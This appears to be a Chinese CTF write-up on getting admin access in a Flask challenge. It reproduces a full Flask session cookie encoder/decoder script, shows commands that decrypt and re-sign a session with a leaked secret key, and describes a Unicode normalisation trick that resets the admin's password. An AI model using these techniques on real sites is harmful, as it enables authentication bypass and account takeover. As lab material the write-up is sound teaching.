先随便注册一个账号进去看看。
在index的源码处找到提示,you are not admin,估计是要用admin的身份登录才会有flag。
然后在change的源码找到了网站项目的github地址:
下载下来是一个flask项目,这里看了看wp知道要看路由route.py,然而我这种菜鸡是看不懂的。
有三种解题方法,不过看其他wp第三种都没有实现。
一,flask session伪造:
这里我知道了flask的session如果要加密或者解密需要一个SECRET_KEY
。
序列化session的主要过程:
1,json.dumps 将对象转换成json字符串,作为数据
2,如果数据压缩后长度更短,则用zlib库进行压缩
3,将数据用base64编码
4,通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割
第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。这道题的源码给出了secret_key,所以可以session伪造。
参考:https://www.leavesongs.com/PENETRATION/client-session-security.html
然后直接用脚本加解密:
地址:https://github.com/noraj/flask-session-cookie-manager
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='' ,
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='' ,
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='' ,
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
使用方法:
解密:python flask_session_manager.py decode -s SECRET_KEY -c session
加密:python flask_session_manager.py encode -s SECRET_KEY -t 未加密session
先抓登录成功界面的包,然后解密session:
python3 1.py decode -s ckj123 -c .eJw9kE9rwjAYxr_KeM8eurTCEDw4UkOF9w2VZCO5SLXVpjYOqlIb8buvk-HpOfzg-XeHzb6rzjXMLt21msDGlTC7w9sWZkC8bInnCQbdU_g6Wq5j45cO_cobpQOF0llVeqkWPXHriOU3E5Y18dZZoRmGdJAqTSjoqfEmlmJVU9hFKHCw6sCoMQOF2pNPI8n1DccM4_MeFUbIdWK9TpDvBmzS3qi2Rr6YSpXHttG9FYaZQK0V67FPNofHBHbnbr-5_Byr02sCsoxZnzGp2saMimHt7F9V_umR29qKLDZNOpCwtfxeOhqnUT5_2jlfHKqX09Z_sPyfnAo_AiiKAiZwPVfd8zV4j-DxC2jGbMw.XltvVw.hbTHaI6lG6Fn3uXRaeFlhoTtcCg
解密后的session如下:
{'_fresh': True, '_id': b'47e44835075dd57bab2bfa5377be7f90046b7d1c1a49bde6312918759bf78ba7740c2e8666278f6a485135dbd0134058fe8072210a9a009947f50df6c3eddb2b', 'csrf_token': b'3b6fb699cbb634bd6b40f06adb7b124fa9ab6bf5', 'image': b'no6A', 'name': 'aaa', 'user_id': '10'}
然后把name改为admin加密试试:
{’_fresh’: True, ‘_id’: b’47e44835075dd57bab2bfa5377be7f90046b7d1c1a49bde6312918759bf78ba7740c2e8666278f6a485135dbd0134058fe8072210a9a009947f50df6c3eddb2b’, ‘csrf_token’: b’3b6fb699cbb634bd6b40f06adb7b124fa9ab6bf5’, ‘image’: b’no6A’, ‘name’: ‘admin’, ‘user_id’: ‘10’}
但是试了很多次就是不行。。
二,Unicode欺骗
首先我们注册一个
ᴬᴰᴹᴵᴺ的账户,这时候我们传入的数据会进行一次转化,这时ᴬᴰmin–>ADmin,服务器端会判断该用户是否存在,然后成功注册
登陆该账号,因为登陆时也会被进行一次转化,所以使用ᴬᴰᴹᴵᴺ登陆,但后台的账号是ADmin
然后执行一次更改密码操作,改密码时也会进行一次转化,这时我们便从ADmin–>admin,完成了admin账户的密码更改操作,这时候再登陆admin账号,就可以得到flag了